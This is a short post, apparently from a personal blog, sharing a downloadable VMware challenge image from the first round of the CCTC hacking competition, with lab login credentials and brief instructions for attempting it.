I found the original CCTC Preliminary challenge disk in lab a few days back, and wanted to post it here in case someone wants to test their penetration testing/hacking skills. Harshil & Me had worked on it for the first round of the first iteration of CCTC (which we later won).

#Instructions

1. Get the VMWare image from http://clipx.cloudapp.net/cctc/
2. Hack.
3. Credentials are student:student (username:password)
4. Open <VM_IP>/cctc in your browser.
